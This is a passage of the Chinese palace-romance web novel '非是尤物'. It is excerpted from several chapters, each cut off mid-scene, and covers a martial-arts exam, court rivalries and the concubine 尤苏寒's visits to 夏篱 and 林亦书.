身后众人听到陈贵妃的说辞不禁都看着尤苏寒窃窃私语着。一些官妇看着这情景难免心下都有嘀咕。这三殿下宠妾就算了,皇后还这么明晃晃的宠着这个尤苏寒实在是有些意料之外。若是日后谁嫁给三皇子,以后的日子怕是也很不好过。她们虽不言语,心下却个个避之不及。唯独那个陈羽轻,前些日子跟着陈夫人回了趟夏阳。不知什么时候回来的,今天竟也过来了。她一向跟刘荇要好,刚过来就穿过人群一把抓住了刘荇。刘荇惊喜的捂嘴笑道:“羽轻,你什么时候回来的啊,我可想死你了。”说着刘荇抱着陈羽轻转圈跳着。陈蓉转头瞥了她们一眼,这才安静下来站在后面等着皇上宣布武考开始。当下个个表情严肃的直挺挺的站着,皇上转头看了眼王旭点头,王旭这才往前一步大声喊道:“武考开始!”一时间锣鼓喧天,场上男儿严阵以待,燃起熊熊斗志。 第一场,马射! 考生纷纷转头窃窃私语,今年怎么上来就马射。皇上并不理会他们的疑问,只是回头坐下,看着场下自乱阵脚的考生们笑着说道:“武考,要的就是出其不意,上了战场,谁会给你提前准备的时间和机会。我知道你们先准备的肯定不是马射,但是我要看的就是你们的心理素质。” 考生排成几排,一一进场。刚开始都是分队选拔,几场下来估计要好些时间。场外的夫人小姐们刚开始还津津有味的看着,后来可能有些疲乏了,就都私下聊起天来了。 陈羽轻刚刚坐在台上就一直在人群中巡视着。刘荇用肩膀怼了陈羽轻一下,朝着左边挑头道:“我三哥哥在那边呢。喏,父皇后面一些。他向来不爱出风头,你得往偏僻的地方找找,才会看得到他。” 陈羽轻顺着刘荇的指示找到了 22. 第 22 章 骑射 《非是尤物》全本免费阅读 “那个是我三哥哥刚纳的小妾,瞧见没?”刘荇走到陈羽轻身旁右手指着尤苏寒表情八卦道,“之前他非要娶那个歌姬,叫夏什么来着。我还以为他是有多喜欢那个女人呢,这才两年有没有啊,你瞧瞧,又娶了个这个尤氏。陈羽轻,我这个三哥哥没你想的那么好,左一个女人右一个女人,你怎么非他不可。” “这个尤氏是谁家小姐,以前怎么没见过?”陈羽轻微眯着眼睛上下打量着尤苏寒。 “虽说这个尤氏长得确实还算可以。”刘荇话说一半看到陈羽轻瞪着眼睛看着她赶忙笑道,“但是她可不是什么小姐,是个身份低贱的游商之女。跟你比起来那是天壤之别。” 陈羽轻听到这,高傲的昂着头看了一眼刘荇嘲笑道:“我还以为是哪户人家的千金呢,那不用管。三皇妃的位置是非我莫属。”陈羽轻一向是孤高自傲,她也确实有这样高傲的资本。父亲是当朝权倾朝野的宰相,母亲是陈郡谢氏的独女。除了那个冷面少郎刘渡对她爱答不理的,别人都殷勤的厉害。人嘛,就是得不到的就越想要。来府上求亲的并不少,但是她就只喜欢刘渡,从小到大,从未变过。 刘荇一边吃着东西一边看着刘渡的背影感叹道:“羽轻,不是我打击你,我三哥哥好像是真的很喜欢这个尤氏。也不知道她什么魅力,三哥哥那日为了这个尤氏竟在众人面前发怒了。” 陈羽轻皱眉确认道:“发怒?” “是不是稀奇事,你何时见过三哥哥为了什么事情跟别人吼过。那日母妃不过是想要让绿茵教教这个尤氏规矩,三哥哥就发脾气了。还从未见过他如此护着一个人。”刘荇说着说着脸上的表情竟也多了份羡慕,若是万尘安也能对自己这样,那不得开心一年。 一旁的陈羽轻静静地听着刘荇眉飞色舞的阐述那日所发生的事情,她渐渐沉下心看了看刘渡身旁的尤苏寒,她实在是有些嫉妒,但是这么多年,她知晓刘渡的为人,若是自己现在上前故意刁难尤氏,刘渡定不会惯着她的脾气。她面带怨气的看着他们,表情越加变得黯然。旁边的刘荇不禁笑道:“这尤氏以后的日子怕是不好过啰!” 万尘安过来的时候已经是比赛快接近尾声的时候了。马射的三甲刚刚出炉,开心之余,皇上看了眼刘渊他们三个笑道:“快去比试比试,让寡人也来瞧瞧你们都有没有进步。” 刘渊看了眼刘渝,二人心下各自较量,早就迫不及待的想要下去比试一番。刘渡先他们一步上前笑道:“今日我想跟大皇兄比试一番,不知大皇兄可否赏脸?” 一旁的刘渝听后神情自若的往旁边挪了几步,让他们先比试也未尝不可,自己还可以在这先省省精力,等会再跟刘渊比试。 刘渊抬眼望了刘渡一眼,心领神会的笑了笑说道:“也好,三弟很久没有跟皇兄我比试过了,今日正好父皇也在这,看看三弟你这些日子箭法可有进步。”说着就拉着刘渡往赛场上走去。 一时间场外各人都纷纷看着场下二人,那些规格小姐们也都往前,生怕错过了这场养眼的好戏。刘荇和陈羽轻也不另外,他们手牵手走到了前面。刘荇刚过去就看到了刘渡身旁的万尘安,她兴高采烈的小跑到万尘安身旁,神情开心的拍了一下万尘安的肩膀笑道:“我还以为你今日不来了呢,找了你一圈都没有看见你。见到你真好。”刘荇捎带害羞的低了低头,万尘安转头看着刘荇躬身行礼道:“公主万安。”说完就转头不理睬刘荇,眼神落到了刘渡和刘渊身上。 “万尘安,这么久没见你怎么还是这幅模样,我好歹也是堂堂公主,你竟然不搭理我,你就这么不喜欢我吗?”刘荇虽说语气带怒,但说到后面渐渐失落起来。万尘安斜眼看了眼刘荇笑道:“这么好的一场戏你不看,偏偏要说话,非要这么不合时宜怪谁。” 刘荇一向拿万尘安没有办法,他放荡不羁自在惯了。之前刘荇曾试图用身份压他,逼着他对自己好一些。奈何只是换来淡淡的一句:“实在不行,公主杀了我也可以。”怼的刘荇无言以对,只好作罢。 刘荇的突然安静让早已习惯聒噪的万尘安感到几份不适应。他转身看着站在身旁异常乖巧的刘荇,眼神上下打量刘荇道:“你又在打么鬼主意”。 “我就是站在这,并没有做什么啊,万尘安你为什么对我有这么大的偏见。”说完刘荇对着万尘安办了个鬼脸,转身朝着皇上方向处大声喊道:“父皇,万尘安说他等会想和今日比赛头筹者比试比试。” “允了。” 万尘安躬身行道:“谢皇上恩准。虽不是自己所愿,但是既然皇上都讲话了,自己也不好推脱,只得硬着头皮应下。 刘荇开心的拉着万尘安的白袖开心笑道:“等会你就可以一展身手了,今日你好好表现,省的母妃一直说你游手好闲不求上进,今日你就让她看看,你万尘安可不是她口中的纨绔子弟。”刘荇这么说是有原因的。她之前是有见过万尘安练武的,在刘渡的春熙苑。那个翩翩少年动作干净利落,连一片叶子都能被他当成武器。虽说后来万尘安有跟她说过不要跟旁人提及此事,但是每次别人说他的时候,她总忍不住想要让万尘安证明给那些看不起他的人瞧瞧。恰巧今日是个机会,她想向别人证明些什么,特别是他的母妃陈蓉。 万尘安并不在意,表情淡漠的轻笑了一身转过去继续把目光看向了赛场。 刘渊刘渡纷纷上马,这次只比三箭。刘渡看着刘渊笑道:“皇兄,上次我们比骑射还是四年前,皇兄看看我有没有进步?”马儿在刘渡的牵拉下在原地踏步,乖巧且配合。 比赛开始的号令一响,周围异常寂静,所有的目光都投向了刘渊。他蓄势待发的弓背牵马,突然两脚踢向马肚,飞快的往木耙处奔驰而来。只见他起身坐在马背上,两手拉弓,刹那间箭就飞了出去。周围人并未出声,等着远处的校对军确定成绩。 “大殿下九环”! 大家纷纷鼓掌称赞,继而转头望 25. 第 25 章 偏爱 《非是尤物》全本免费阅读 陈羽轻转头望去,抓住她手腕的不是别人,正是她心心念念的那个翩翩少年刘渡。 还未等陈羽轻开口,尤苏寒见刘渡过来,连忙上前拉着刘渡的衣袖满脸愁容,哭腔委屈道:“殿下,你可算来了,臣妾也不知何处得罪了这个陈大小姐,她自己的婢女掉到花池子里面,她自己不上前营救,她竟来怪我,还想来打我。你瞧瞧,我还好心的让青草去帮忙救那个阿苏呢,不领情就算了,还狗咬吕洞宾不识好人心。臣妾委屈的很。”尤苏寒这套矫揉造作的说辞信手拈来,她自己都佩服自己的这套本领,大概是宫斗剧看多了,绿茶装无辜的那套她还是很会拿捏的。 刘渡表情冷漠的看着百口莫辩的陈羽轻,他阴冷的眼神夹杂着丝许不耐烦冷言冷语道:“陈羽轻你打她我会心疼的,若是寒儿有什么地方让你不痛快了你大可跟我讲,我晚上回去自然会好好教训她的。” 尤苏寒假装没听懂刘渡的话,转头看向青草故作深沉。 原本陈羽轻只是皱眉委屈,欲言又止。突然听到刘渡说的话一下子神情变得失落,她从未见过他明目张胆的袒护过谁,更不要说是一个女人。她看着表情冷漠的刘渡,刚刚还抬着的手渐渐放下,她眼眶微红,不敢置信的问道:“你竟然会心疼她,她不过就是一个低贱的女人,殿下为何要如此袒护她伤了我的心。” “刘渡不知为何会伤了陈大小姐的心,这话不知从何说起,刘渡不敢当。只是不管以前寒儿是何身份,现在是本宫的侧妃这是事实,我竟不知我的侧妃身份为何低下入不了陈大小姐的眼。还要请你说话还要注意一些分寸。刚刚的事情我听到那个太监说的了,我已经让希白前去跟陈贵妃打招呼说是我不小心摘得一朵想要搏寒儿一笑。想必父皇何和陈贵妃都不会跟我计较什么的,这件事就算过去了。”说完刘渡看了眼旁边故作委屈的尤苏寒皱眉冷笑道:“走吧,母后还在等你,特让我过来找你的。” 尤苏寒看着旁边伤心的陈羽轻装模作样道:“陈小姐没事吧,这都哭成个泪人了。”说着拿出手帕想要给她擦拭脸上的泪水。陈羽轻甩掉了尤苏寒的手恶狠狠的看着她咆哮道:“给我滚!” 尤苏寒并不理会陈羽轻的情绪,转头喊道:“青草,我们先走吧。”说完便开开心心的主动拉着刘渡的手离开了。 刘渡低头看了看尤苏寒的手,眼角微眯。这女人在外人面前装腔作势的本领还真是不赖。不过这还是尤苏寒第一次主动牵他的手,刘渡并不在意她为何如此,反手握住尤苏寒的手抓的更加紧了。 这两日在宫里,二人朝夕相处。虽然两人并未发生什么实际上的关系,但是潜移默化中,他们二人都有感受到彼此之间细微的变化。沉默不言,心领神会。这种感觉刘渡还是第一次感受到。 陈羽轻看着两人离去的背影,心下早就恨意丛生。她长这么大还从没有谁这样羞辱过自己。这个尤苏寒不仅在她面前作威作福,全不把她放在眼里。就连刘渡也不知何时喝了她什么迷魂汤,竟然肯如此护她。她看着刚刚从水里狼狈爬上来的阿苏,满脸狰狞破口大骂道:“丢人现眼,回府!” 刘渡一路上沉默寡言,他低着头走着,一直想着刚刚皇后跟他的谈话。他并不意外皇后会找他谈话,只是像今日这么严肃还真是少有的。 “渡儿,你想为朝廷做事母后很是欣慰,帮你父皇分担一些琐事也是你为人臣子责无旁贷的事情。但你平心而论,你只是想帮你父皇分担事务吗?”皇后收起了以往慈爱的神情,剩下的只是一脸的严肃和质问。 “母后您多想了,儿臣别无他想。”刘渡面无表情的回复和皇后所料一致。知子莫若母。皇后直勾勾的盯着他看了一会继续语重心长道:“你骗得了别人骗不过我,母后问你,你今日如此反常的不避锋芒,就是故意让你父皇让你名正言顺的重回朝廷做事是不是,你想要趁机找得机会,为虞术平反?”皇后走近刘渡低声怒斥道,“你想找虞术被陷害的证据那简直就是难上登天,他们早就将证据销毁了,还会给自己埋个陷进不成。陈云现在是只手遮天,你父皇都拿他没有办法,你异想天开的想要靠你自己的力量去找他的错处,简直就是蚍蜉撼树,自不量力。” “若不试试,父皇、大皇兄就会一直被陈云压制。这天下百姓就不可能安居乐业。陈相一党贪污受贿,滥用职权,整个朝廷都被他们弄得乌烟瘴气,母后让我如何忍受得了。” 皇后听后沉默寡言,刘渡乘势继续道:“虞术是被陷害的你我都清楚,甚至父皇也心中明镜似得。之所以一直沉默并不代表我们默认,我们现在是没有办法,但是如果我因为怕他而不敢与他分庭抗礼,日后大皇兄只会被他打压的更惨。母后,我想要查虞术叛变一案并不只是为了尤苏寒。” 皇后满眼通红的看着刘渡,伸手摸了摸刘渡的脸心疼道:“日后定要小心谨慎些,母后本来就日夜担心渊儿,现在又多了一个你,你让我如何心安。” 刘渡明白皇后的忧虑,但是现在的情况已经容不得他再置身事外了。刘渝一心想要皇位,现下看着是二人联手,与虎谋皮,但是他根本就不是陈云的对手。若是让他继位,日后陈云野心大了想要谋反也不是没有可能。所以帮着刘渊打压刘渝,是势在必行的。 “殿下你怎么都不理我?”尤苏寒刚刚就一直看着他心事重重的样子,甚至用手在他面前晃荡两下他都没有注意到。 刘渡低头想事,突然听见尤苏寒叫他,转头笑道:“我刚刚在想,什么好人家的姑娘把别人踹下花池还面不改色的说自己委屈的,我还是头回见到过。 26. 第 26 章 回府 《非是尤物》全本免费阅读 尤苏寒和刘渡回府之前,皇后派觅无过来送了大大小小好几个包裹,尤苏寒照数手下好不客气。她这几日在宫里,皇后好吃好住的招待让尤苏寒感觉自己小肚子都微隆起来了。她想把这些都会去拿给夏篱,不知道夏篱会不会开心。 马车里刘渡闭目养神的坐在正中间,尤苏寒趴在一侧,掀这帘子往外看去。她心情异常愉悦,跟来时的忐忑简直是天壤之别。之前只顾着担心会被皇后刁难,从未发现这春熙苑到宫里的这条路也是异常繁荣。路边有各种各样的摊位卖着各式各样的新奇物件。她虽然见过的东西不少,但是这些古色古香,纯手工手艺品还是头回见到。她看到路边卖小兔子的摊位,忽然转头跟刘渡笑道:“若是浅雪也在这,我定让它瞧瞧这外面多漂亮啊,还有小白兔,你看,那边还有只黑的,哈哈。” 刘渡并未理她,他不接话是因为不想让尤苏寒再继续这个话题,他的结论就是,猫和他是不可以待在一个密闭空间里的。 尤苏寒想着想着撇嘴嫌弃道:“搞不懂堂堂一个大男人怎么会怕一直小猫。” 刘渡睁眼瞪了她一眼转过头去,尤苏寒也转过头继续看着外面喧嚣繁闹的街道。马车突然停了下来。尤苏寒抬头一望,原是林府。 “我现在过去吗?”尤苏寒总觉着有些欠妥。但又说不上哪里不对。还没等刘渡讲话,她满脸愁容道:“我若是去看林亦书,那我是不是空着手去不是很好。殿下您不如给我点钱,我现买去也成。” “不用,你跟林亦书不过就是打过两次照面,这么突然去人府上,不得要先发个拜帖才算合乎礼仪。我让希白先去了。” “这么能只是打过两次照面,若不是林姑娘替我去跟公主比赛,估计现在躺在家里的就是我了。就算不是大皇子让我过来探探情况,我自己回来之后也会过来看探望一下林姑娘的。” “听你这么说这林亦书算是你尤苏寒的救命恩人了,那怎么你连买给救命恩人的探礼钱都舍不得出,未免有些太过于小气了。”刘渡戏谑的盯着尤苏寒看着,他很是好奇,虞府也算是大门大户的人家,说虞术苛待这个女儿也绝无可能。毕竟他就一个张掌上明珠,何谈苛责。但是尤苏寒这些日子人前人后精打细算也确实是令他大开眼界。 且不论这次,在一起来宫里之前,尤苏寒跟他还没有现在这样熟络。她出了趟府回来就找到刘渡,她站在他跟前只是低头也不讲话,刚开始刘渡还以为她是在府外受了什么委屈,这才这副模样。他看了眼虞初身后的青草想要打探她为何这副模样,谁知青草也只是抿嘴摇头。刘渡无奈,只好低声轻语问道:“尤苏寒,你今日发生什么事情了吗?”大概是那是两人还不怎么熟悉,二人之间的状态显得格外客气。 “殿下您这月月利还未发放……我都快弹尽粮绝了……”尤苏寒声音小到需要刘渡侧耳上前倾听。 在她说出这句话之前,刘渡想过无数的可能,或是被人欺负受委屈了,或是想父母了,可怎么都没想到,她只是因为缺银两了才来找到自己。 “这个都是府中账房管着的,许是这两日就有了。”刘渡语气温柔,他说完不禁笑了,摇了摇头继续道,“日后你若是哪里再差些银两直接去账房就好,我这就让希白和账房说一下。” “啊……不用不用,我就领我自己的就好了。”尤苏寒还算客气,她只是缺钱,但是她并不贪心。听完刘渡说这两日就有,她安心的回了沁香阁。 后来希白告诉他,尤苏寒那日在一个卖冰糖葫芦的摊位转悠很久。 现在刘渡每次想到这件事还是觉得很是稀奇。尤苏寒在他跟前,一会儿安分守理知礼节,一会儿调皮捣蛋爽快直率。他自己都分不清到底哪个才是真正的尤苏寒。 马车继续行驶,突然刘渡叫停了马车。尤苏寒不明所以,只见刘渡下车走到那个糖葫芦的摊前买了一根回来上了马车,伸手递给她并不言语,走到里面坐下继续闭目养神。 尤苏寒盯着手里的糖葫芦看了看,又盯着刘渡看了看,心下嘀咕:“他怎么知道我喜欢吃糖葫芦,该不会找人监视过我吧。”尤苏寒心下想着,但也没有耽误她撕开糖纸把糖葫芦放入口中。 马车到达春熙苑的时候,尤苏寒正好把口里的最后一颗山楂球吃完咽下。她掀开车帘,还未等刘渡下车,她就飞快的跑了下去。 “夏姐姐”,尤苏寒往夏篱处直奔而去。 夏篱在左儿的搀扶下站在春熙苑的门口,应是下人早就通知了她,这会才站在门口迎接他们。影儿也站在夏篱身旁,探着脑袋看着马车翘首以待。见到尤苏寒下车,开心的在原地蹦脚笑着跑向她。青草在后面拿着个木笼,影儿并未仔细看里面是什么,忙不迭的拉着尤苏寒好奇问道:“小姐,你不是说只去两日吗,怎么去了这么些天。你在宫里没有被为难吧?” “一下子这么多问题,我先回哪一个?” 夏篱站在旁边抿嘴微笑着,看见尤苏寒这么开心,想必这几日在宫里过得还算可以。她抬眼看了看尤苏寒身旁的刘渡。脸上原本期盼的眼神变得收敛。她并没有像往常那样朝着刘渡走过去,只是站在原地会心的笑着。 见尤苏寒跟影儿在门口聊的正欢,刘渡踱步走到夏篱跟前柔声问道:“这些日子可好,天渐微凉,不用特地过来等我的。”她看了眼夏篱身边的左儿吩咐道,“快扶你们家娘子回屋。我交代一些事情后,马上就过去。” “喏”。左儿早就知道刘渡回来定会让夏篱回屋。不管天气冷冽还是气候炎热,刘渡都不让夏篱在外太久。太医也交代数次,只是夏篱从不肯听话,她似乎不肯放弃见到刘渡的任何一一次机会。左儿心下明白,但是也跟刘渡一样,很是担心夏篱的身子,所以每次搀扶夏篱回屋,虽心下不忍,但也照做。 “那等会殿下跟寒儿一起来妾身屋里坐坐可好。”夏篱温声细语的交代,尤苏寒连忙推开影儿的手走向夏篱 27. 第 27 章 托付 《非是尤物》全本免费阅读 左儿看到尤苏寒的时候嘴巴都惊讶的合不起来了。刚开始见她脚步沉重的走过来,左儿先是惊讶,然后看她到狰狞的表情不禁笑着上前帮忙提着尤苏寒身后那个巨大包袱抬进了屋。 尤苏寒刚开始背着的时候确实感觉也还好,只是她忽略掉了沁香阁离暮汐阁还是有一点距离的,平日里没有感觉,今日才发现这条小径也不是三两步就能走到的。走到中间的时候她有些累了,青草想要帮她,无奈手上的提篮早就挂满了整个胳膊,再没办法抽出手去帮尤苏寒了。影儿被尤苏寒安排在屋子里面继续收拾分发一些剩下来的东西,并没有跟过来。 终于到暮汐阁了,尤苏寒放下肩上的包袱深吸一口气开心笑道:“夏姐姐,你看我给你带了什么好东西。” 夏篱缓步走上前看着尤苏寒额头的汗珠,掏出手帕给她轻轻擦拭。夏篱提袖间一股檀木清香迎面而来,她忽然想起来刘渡身上也是一股檀香味,但是这个味道跟刘渡身上的檀香并不相同。刘渡身上的檀香清冷馥郁,有种不近人情的距离感。这个味道闻起来更加温柔亲和,在举手投足间若隐若现,她记得,在她昏迷刚醒来的时候就闻到了这个味道,夏篱应是从未换过香。 还未等夏篱擦拭完尤苏寒就反手握住夏篱的手腕拉着她走到包袱边翻腾着里面的物件。夏篱盯着尤苏寒笑道:“寒儿这是把宫里值钱的物件都带给我了啊。”她的笑容如春风一样亲和,两只眼睛弯弯的跟月牙儿一样,端庄中带着些俏皮,甚少见到。 “夏姐姐喜欢吗?”尤苏寒并不是很清楚夏篱的喜好,拿的都是她以为她会喜欢的,无论是衣裳还是首饰。一切都是极其简约干净的款式。 “喜欢,真的很喜欢。”夏篱拿起尤苏寒手里的胭脂放到口鼻处闻了闻凝眉笑问道:“这可是金陵的漫雪听红,这个还真是少见呢。这都是上好的赤蔷薇花加一些栀子研磨所得。咋看并无稀奇之处。但是这个赤蔷薇花甚是难得,一年统共能研磨成这样上等品质的胭脂顶多三十盒。”夏篱头头是道的阐述着漫雪听红的独特制作手艺,尤苏寒眼睛睁得大大的听得很是入神。一时间分辨不出她看着的是那盒漫雪听红还是拿着漫雪听红的那个人。 “夏姐姐你懂得可真多,只不过是看了一眼就知道这是漫雪听红。我原先只当是贵一些的胭脂,没想到这小小一盒制作如此精巧。”尤苏寒眼里的崇拜比原先更加多了些。以往只是觉得夏篱长得好看,渐渐地发现她还是个无所不知的奇女子。只是天妒红颜,摊上了个这么柔弱的身子。尤苏寒想到这里心里某处隐隐失落,这次她回来后其实也察觉到了,夏篱的脸色比前几日看上去更加的不好了。 “左儿,帮我把寒儿拿过来的物品都好生收着。”说完看着尤苏寒笑道,“你们都出去吧,我跟寒儿两个人在屋子里说说话。” 青草和左儿听到夏篱的话安静的退下,只留下尤苏寒和夏篱坐在屋里,彼此说一些家常。 “我这次从宫里带回来一个宝贝,是只全身雪白小猫,我唤它作浅雪。我本来想要把它带过来给夏姐姐瞧瞧,但是想到姐姐身子不好,怕她的毛发让你有所不适。姐姐日后去沁香阁走动时可以顺便看看浅雪,她很是招人喜欢,我估计姐姐一定也会很喜欢它。”尤苏寒说起浅雪的时候滔滔不绝,脸上神情眉飞色舞的很是开心。 “听你这么说,我现在就想去看看那个小家伙了。我之前帮别人养过猫,所以对毛发还好,没什么不适应的。”夏篱似乎想起了以前的事情,眼眸微垂,有些隐隐的难过。 “夏姐姐,你之前果然没有骗我,皇后真的是很好的一个人,不但没有为难我,还对我像亲生女儿一样。” “那她是不是发现了你就是虞初?” 尤苏寒惊讶的看着夏篱笑道:“夏姐姐你怎么什么都知道,皇后确实发现我就是虞初,所以才会对我这么好。因为我母亲和她是闺中密友,皇后待我如同母女,很是亲切。” “若是只知道你是游商之女想必皇后不会如此待你,她一向不喜欢殿下未娶妻先纳妾的做派,而且两个小妾身份都很低微。她不喜欢我们也是人之常情。现在待你这般,我估计是发现了你的真实身份才会如此。更不要提突然封我们为侧妃,若不是因为你是虞初,她是绝不会松口的。”夏篱分析的头头是道,尤苏寒看着夏篱不禁感慨,又漂亮又聪慧,若不是身子拖累了夏篱,想必日后必是刘渡的好帮手。 夏篱看了眼神情游离的尤苏寒,表情渐渐变得意味深长:“寒儿,我和殿下并无实际性的关系,我们顶多算是知己。” 尤苏寒转头迟疑的看着夏篱小声问道:“夏姐姐这话从何说起?”在尤苏寒心里,虽然不甘为人妾室,但她也知道像刘渡这样的身份,三妻四妾很是正常。且不论自己是个小小的妾室,哪怕她现在是三皇妃,刘渡想要纳妾她依旧没有什么实质性的话语权。所幸的是她没有遇到一个小肚鸡肠爱争风吃醋的人,而是夏篱。一个行为举止都极其坦荡温柔的女子。 “以前我是皇后身边的侍女,叫觅夏。”她看着尤苏寒微张的嘴打趣道:“是不是没想到,以前我和觅无一起在皇后身边服侍的。但是后来我做错了事,就被打发出宫了。”夏篱的眼神变得落寞,但她依旧笑容满面的继续说道:“出宫后温饱都成问题,我不得不向现实低头。就流落到溢香园做了歌姬。后来我遇到了殿下,他见我身子不好想要把我赎出去好好看病。但是人多口杂,不知怎么传到后来就变成众人口中的,三殿下被歌姬迷惑欲赎身纳为妾室。”夏篱苦笑的看着尤苏寒,眼睛微红。“他不爱我,她纳我为妾不过是不想 29. 第 29 章 探望林亦书 《非是尤物》全本免费阅读 “刚刚林府回帖了,你明日就可以过去府上看望林亦书。要带过去的东西我都让希白准备好了,你明日让青草带上就行了。”刘渡看着尤苏寒欲言又止的模样无奈说道:“你想问什么你直说?” “殿下从刚刚进屋时就一直心不在焉的,这是为何?”尤苏寒不知道自己是不是不应该多嘴问上一句,毕竟就算刘渡讲了自己也不见得能帮忙分忧。她见刘渡表情并不反感又得寸进尺的接着说道:“我明日去完林府想出去采买一些东西,殿下能否给妾身支点银两,不多,就十两?” “你以后直接去找账务取就好。先前我就跟他说过了,以后你直接跟他讲就行了。”刘渡突然想起来抬眼问道,“我等会去趟暮汐阁,你去不去。” “哦,不了不了,我还有点事情没做,我今日都已经去过了,殿下就自己过去吧。”尤苏寒侧身指了指外面继续道,“我要给浅雪做点吃的。”尤苏寒知道夏篱应该很想刘渡过去,况且这么几日未见,想必他们之间也有不少话要讲,自己就不过去挡电灯泡了。 “你会的还不少。”刘渡起身准备离开,刚走到沁香阁门口突然想起林欢信上所言,摇头扶首道:“明日我让希白跟着你一同过去林府。” 尤苏寒听到这里,龇牙咧嘴心中甚是唾弃:“我不过是多使了些银两,殿下怎么还找希白监视我起来了。”她只是小声嘀咕,刘渡站的远,虽不曾听见他说的什么。也大概能猜到她嘴里说的并不是什么好话,一向如此,索性也不再追问,任由她去。 尤苏寒早上是好好打扮过的,过来林府探望林亦书,她选了件螺旋恪印素色襦裙,外加一件碧蓝轻纱。虽不是她平日喜欢的款式,但是这身素雅,探望病人甚是合适。 不过跟尤苏寒想的不一样的是,并不只有希白跟着她一同过来。刘渡也早早的就在备好的马车旁等候她多时。 “你从未按时出现过,下次看来要提前通知你出发时辰才是。”刘渡一边说着一边扶着尤苏寒上了马车,随后自己才跟了上去。马车上二人相视却不讲话,许久尤苏寒才随便找了个由头打破了车里的静谧。 “没曾想殿下也要去林府,若是早点告知我,我就早些起来绝不迟到了。”尤苏寒声音轻缓,似乎她还委屈起来了。 “本来想着你自己过去,毕竟人生地不熟的过去别人府上,我怕你有所不适。这才一起过来。”刘渡静静的看着尤苏寒不再讲话。其实他只是想趁机看看尤苏寒每日都出去才买些什么东西。倒不是在乎她花费银两。只是很好奇,平日里并不曾见得她往府上带过什么。以前随口打探过几次,每次都被尤苏寒敷衍过去。再者就是他本身也有私事要过去林府一趟,不便言语。 其实这个拜帖大可不必,只是刘渡个这个林欢以往并无往来,初次过来刘渡还是给足了林欢面子。马车到时,林欢已在门口恭候数时。刘渡牵着尤苏寒下车后客气的朝着林欢揖手回礼:“林大人不必如此,寻常走动,不必兴师动众。”身旁的下人恭敬严肃。尤苏寒走在刘渡身后,还未开口林欢便上前走到尤苏寒跟前弯眉笑道:“想必这位就是尤娘子了吧,小女亦书腿脚不便,我这就差人带娘子过去。”说着一个婢女走到尤苏寒跟前带着尤苏寒往里面走去。 一路上尤苏寒看见一排盖着帘布的木箱状的东西。她隐约感觉到里面的东西,果不其然,她听到了猫叫声。 “林大人,这些都是猫吗?”尤苏寒看着身后还在原地跟刘渡寒暄的林欢好奇问着,然后满眼期待的走到木箱旁边伸手准备掀开帘布。 “娘子小心,奴婢来就行了。”刚刚带路的婢女主动走上前去拉开帘布,果然是一个个木笼。她看着里面可爱的小脑袋嘴角扬起笑容,忍不住上前问道:“林府怎会有这么多的猫,还个个都是品相极好的!” 林欢见尤苏寒问他,便主动走到尤苏寒旁边解释道:“这些都是当时跟当初献给皇后的那只是一批带回的。路途遥远,想要选一只健康的我不可能只带一只回来。何况早就听闻皇后平日就爱猫,索性带回二十有余回来养着,最后挑了个最出挑的让小女亦书带去给皇后贺岁的。” 听到林欢的解释,尤苏寒又自己看了看里面的小猫。虽然它们个个也都是可爱至极的小家伙,但是跟浅雪比起来确实稍微差了那么一点点。她好奇转身看着林欢问道:“那这些猫会如何处置?” “亦书上次回来说是公主和几家小姐都也想养只小猫,臣准备过些日子送给那些想要养猫的嫔妃公主姑娘们。娘子要不要也带一只回去?”林欢敦厚的笑容显得整个人忠厚老实。尤苏寒满脸微笑的回应:“我已经有了一只,既然它们以后都有了人家要,那我就不要了吧。”尤苏寒一边说着一边看着旁边沉默不语的刘渡笑而不语。其实尤苏是想再带回去一两只的,刚刚也看中有眼缘的小猫,但是想到刘渡不怎么喜欢猫就干脆算了,免得又让刘渡不自在。她并未在这多留,临走前只是照料旁人把帘子拿掉,这样他们晒晒太阳也不容易生病。这才随着刚刚那个婢女去了林亦书房间。 尤苏寒进去林亦书屋里时,林夫人正在林亦书的床前喂着她喝药。见尤苏寒过来,立马放下手里的药碗上前客气寒暄道:“劳驾尤娘子过来看望小女了,还费神跑来一趟。” “林夫人哪里的话,不劳烦。那日本该我跟公主上场比试的,林姑娘临时替换了我,这才导致摔伤了腿。我早该来感谢林姑娘了,只是近日一直在宫里,不曾出宫回来,这才拖到现在。”尤 30. 第 30 章 交心 《非是尤物》全本免费阅读 “刚刚我并不是说的客套话,我那日摔马的确是意外,尤娘子切莫自责。”林亦书说着差丫泡了杯茶给尤苏寒端了过去。尤苏寒也没有客气,接下喝着。眼神时不时的盯着林亦书看了几眼。 “倒也不是自责,只是觉着多少跟我是有些关系的。我今日来这还有一事……”尤苏寒深知跟闺阁女子讨论别的男子确实有所不妥。但是她来这不就是想看看她到底是什么状况,回去好跟大皇子回话,完成任务。再者就是,她有些好奇,这个林亦书对这段婚姻是一个什么样的态度。多少抱着些八卦之的心来这。 “何事,尤娘子但说无妨。”林亦书跟刚刚客气的状态明显是有些不同的,她满脸友善的对着尤苏寒浅笑。这倒让尤苏寒有些受宠若惊了。她一口喝掉了杯盏里剩余的茶水,看了眼林亦书身后的丫鬟,见林亦书示意无碍这才小声说道:“其实我今日过来,登门探望林姑娘是一桩事,另一桩事就是,大殿下让我过来看看林姑娘有没有什么不舒服的或者什么短缺的。他一个男子过来府上多少有些不便,就让我先过来看看。若是林姑娘觉着苏寒说这些话有些唐突,那不回复也行,全当我今日没开口问过这话就是。” 林亦书听后脸上有些红晕,虽然平日舞刀弄枪的一股男儿做派,但是突然听道尤苏寒提到刘渊心跳突然变得比往常快了些。 “不唐突,尤娘子跟我讲话倒也不必小心翼翼。刚刚我听尤娘子的一番言论,实话讲来,我对尤娘子的能有那样的见解很是惊讶。倒不是觉得尤娘子的话有多离经叛道,而是有这样想法的女子少之又少,细细算来你还是第一个跟我说这样话的女子。亦书心下很是敬佩,早就在心里结交了尤娘子你这个只有三面之缘的好友了。”林亦书说话诚恳真切,尤苏寒坐在旁边摸着脑袋瓜憨笑道:“刚刚不过是我一派胡言,让林姑娘见笑了。” “这可不是什么一派胡言的话,这可是我这几年听过最让人佩服的言论了。且不说尤娘子是个女子,就是那些偏偏少年郎也未必有这样的觉悟。只是亦书有句话要提醒娘子一番,日后在外人跟前切莫再随意说这些,恐被有心之人听去生些麻烦出来。” “林姑娘的话苏寒记下了。”尤苏寒刚开始只是以为林亦书只是觉着自己说的这些话让她觉着稀奇才跟自己多说了些。现下听她好言劝诫这才明白林亦书是真的跟她所言一样,把自己当成了朋友。细细想来,这应该是她来到这里的除夏篱之外第一个同自己讲这些话的第一个女子。 